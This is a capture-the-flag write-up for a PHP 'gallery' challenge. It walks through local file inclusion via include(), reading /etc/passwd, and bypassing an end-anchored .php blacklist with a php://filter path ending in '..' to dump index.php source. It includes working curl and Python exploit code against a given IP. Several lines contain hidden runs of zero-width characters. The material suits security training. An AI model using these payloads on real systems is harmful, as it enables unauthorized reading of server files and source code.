← Back to Writeups
CUSTOMMediumWeb

Галерея (Gallery)

XESXOR9/2/20263 min read
#web#custom#medium#end_anchored_extension_blackli#lexical_dotdot_path_collapse_t#lfi_via_include#php_filter_base64_source_read

Галерея (Gallery)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: end_anchored_extension_blacklist_bypass, lexical_dotdot_path_collapse_to_open_blocked_extension, lfi_via_include, php_filter_base64_source_read

Summary

Walkthrough of the CUSTOM Web Галерея (Gallery). Task: a PHP gallery that 'only accepts images' includes a user-supplied file_url, with an end-anchored extension blacklist /\.php[0-9]*$/i. Solution: LFI via php://filter; bypass the .php block by ap

Description

Галерея — Собрал сервис для просмотра картинок по ссылке — принимает только изображения, так что здесь вы в полной безопасности ;)

(English) A "gallery" service that displays images by URL — claims to accept only images, so "you are completely safe here." In reality the file_url parameter is passed straight to PHP include(), giving arbitrary Local File Inclusion. The flag lives inside index.php itself, whose .php extension is blocked by an end-anchored blacklist. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target: http://62.173.140.174:16123/index.php?file_url=... (PHP / Apache, Dockerized, redeploys periodically).

Analysis

The recovered index.php logic:

php
if (preg_match('/\.php[0-9]*$/i', $file_url)) {
    // BLOCKED: "Недопустимое расширение файла!"
} else {
    if (preg_match('/\.png$/i', $file_url)) {
        // rendered as <img src=...> (no fetch)
    } else {
        include($file_url);   // <-- LFI, supports php:// / file:// wrappers
    }
}
// CODEBY{REDACTED}

Three branches based on how file_url ends: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. ends in .php / .php3 / .php4... → blocked (/\.php[0-9]*$/i).
  2. ends in .png → rendered as an <img> (not fetched).
  3. anything else → include($file_url) → arbitrary LFI, including php:// and file:// wrappers.

Key findings during recon:

  • file:///etc/passwd is included and printed → LFI confirmed; the "images only" claim is false.
  • php://filter/convert.base64-encode/resource=<file> works for any non-.php file (read /etc/passwd, Apache configs → DocumentRoot=/var/www/html, Apache on internal :8000).
  • The flag is not a standalone file. After brute-forcing ~1500 common flag paths and probing internal services, the only place left is the source of index.php. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The core obstacle: the blacklist regex /\.php[0-9]*$/i is end-anchored ($). Any path that literally opens index.php ends in .php, so it is blocked. Trailing tricks (., space, /, %2e, %00) pass the regex but PHP cannot open a file with those trailing characters on the filesystem.

The bypass: PHP collapses .. lexically inside php://filter resource paths — intermediate path components need not exist on disk. So craft a path whose string ends in .. (defeating the end-anchored regex) but which lexically resolves to index.php: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

php://filter/convert.base64-encode/resource=/var/www/html/x/../index.php/y/..
  • x/.. cancels out.
  • index.php/y/.. collapses back to index.php.
  • The URL string ends in .. → /\.php[0-9]*$/i does not match → passes the blacklist.
  • PHP opens the real /var/www/html/index.php and base64-encodes it.

Solution

bash
# Read index.php source through php://filter, bypassing the .php extension blacklist
curl -s "http://62.173.140.174:16123/index.php?file_url=php://filter/convert.base64-encode/resource=/var/www/html/x/../index.php/y/.." \
  | grep -oE '[A-Za-z0-9+/=]{40,}' | head -1 | base64 -d

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The base64 blob appears in the page just before the closing </div>. Decoding it yields the full index.php. Because the PHP block is at the end of the file, the decoded source starts with <!DOCTYPE html> and ends with the vulnerable PHP block — and the flag sits in a trailing PHP comment:

php
        }
	// CODEBY{REDACTED}
        ?>

Equivalent Python one-liner:

python
#!/usr/bin/env python3
import re, base64, urllib.request

url = ("http://62.173.140.174:16123/index.php?file_url="
       "php://filter/convert.base64-encode/resource=/var/www/html/x/../index.php/y/..")
html = urllib.request.urlopen(url).read().decode()
blob = max(re.findall(r'[A-Za-z0-9+/=]{40,}', html), key=len)
src = base64.b64decode(blob).decode(errors="replace")
print(src)
print(re.search(r'CODEBY\{[^}]+\}', src).group(0))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering end_anchored_extension_blacklist_bypass, lexical_dotdot_path_collapse_to_open_blocked_extension, lfi_via_include, php_filter_base64_source_read was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-06-27 • CUSTOM • Галерея (Gallery) • Difficulty: Medium